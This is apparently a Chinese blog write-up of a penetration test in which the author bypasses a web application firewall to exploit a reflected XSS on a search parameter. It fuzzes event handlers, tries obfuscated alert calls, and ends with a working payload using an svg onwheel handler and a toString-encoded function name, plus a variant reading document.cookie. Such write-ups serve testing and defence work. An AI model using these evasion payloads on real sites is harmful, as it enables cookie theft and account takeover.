一次bypass Xss-waf的经历

2020-06-22 20:00:01 admin 34

那原本是一个Happy的夜晚,我搞了二两小白酒,听到领导发来的消息,还TM喝酒,加班了!

接到测试网站,利用crawlergo+XRAY扫到了一个xss,这是入口点。打开网页长这个样子。

利用点在keyword参数
05877-kr43jh59m2g.png

我们闭合前面的<script>看看
30917-cxqie6d6g5w.png

嗯..问题不大
24310-vo138w8wt0i.png

而当直接注入payload的时候,会被拦截
36720-qfdmmpoh1d.png

麻麻赖赖的,咋直接干它!

开始尝试绕过payload

最后发现,onerror= 会被直接拦截

onerror== 不会被拦截,而是变成onerror="="

除此之外,不论=后面是否存在数值,都会被拦截。

60655-t1fak84sy4n.png

于是猜想,是不是onerror这个事件太常用了,所以作为关键词的一部分被拦截了,因此我开始fuzz事件

这里贴出所有的事件,来自菜鸟教程。

onclickoncontextmenuondblclickonmousedownonmouseenteronmouseleaveonmousemoveonmouseoveronmouseoutonmouseuponkeydownonkeypressonkeyuponabortonbeforeunloadonerroronhashchangeonloadonpageshowonpagehideonresizeonscrollonunloadonbluronchangeonfocusonfocusinonfocusoutoninputonresetonsearchonselectonsubmitoncopyoncutonpasteonafterprintonbeforeprintondragondragendondragenterondragleaveondragoverondragstartondroponabortoncanplayoncanplaythroughondurationchangeonemptiedonendedonerroronloadeddataonloadedmetadataonloadstartonpauseonplayonplayingonprogressonratechangeonseekedonseekingonstalledonsuspendontimeupdateonvolumechangeonwaitinganimationendanimationiterationanimationstarttransitionendonmessageonmousewheelononlineonofflineonpopstateonshowonstorageontoggleonwheel

随后,fuzz出了一堆可触发的事件出来
05030-r9oh6fbi9g8.png

最后我选择了onwhell,滚动的时候触发,但是紧跟着alert依旧不行
90448-2s2wlcw8y2.png

于是,我认为是alert(1)这个函数太过敏感,我们可以用一些别的方法来进行混淆。

于是在尝试了反引号,confirm,prompt等都不行的时候,我居然想出了console.log(1)这个方法。

没想到又出来一个拦截

真的是i了i了
72508-ga5uzv0vwri.png

最后掏出我弹药库里的一些储备

例如这些:

self['al'%2B'ert'](1) >parent['al'%2B'ert'](1) >frames['al'%2B'ert'](1) >content['al'%2B'ert'](1) >window['al'%2B'ert'](1) >

但是也都一一被拦截下来

85520-7ymum815qfo.png

最后,幸运之神还是眷顾了我,让我找到了没有被waf住的包

例如:

javascript&#x3A;alert&lpar;document&period;cookie&rpar;

在javascript接着的语句中,进行编码后依旧可以进行识别

或者利用toString的编码转换,来进行bypass

例如

54325-g0bsk45qfl6.png

最后结合top来进行二次绕过

top[11189117..toString(32)](1);

那么最后为什么还没有弹框呢?原因是src=1 和onwheel压根没啥子关系。。

79550-2ze4zsmnu66.png

我们换个<svg onwheel>会不会更好。只需滚动一下鼠标滑轮即可

</sCrIpT><svg onwheel=top[11189117..toString(32)](1);>

06944-1lef4tdi05s.png
搞定收工,继续喝酒去!


电话咨询
在线留言
QQ客服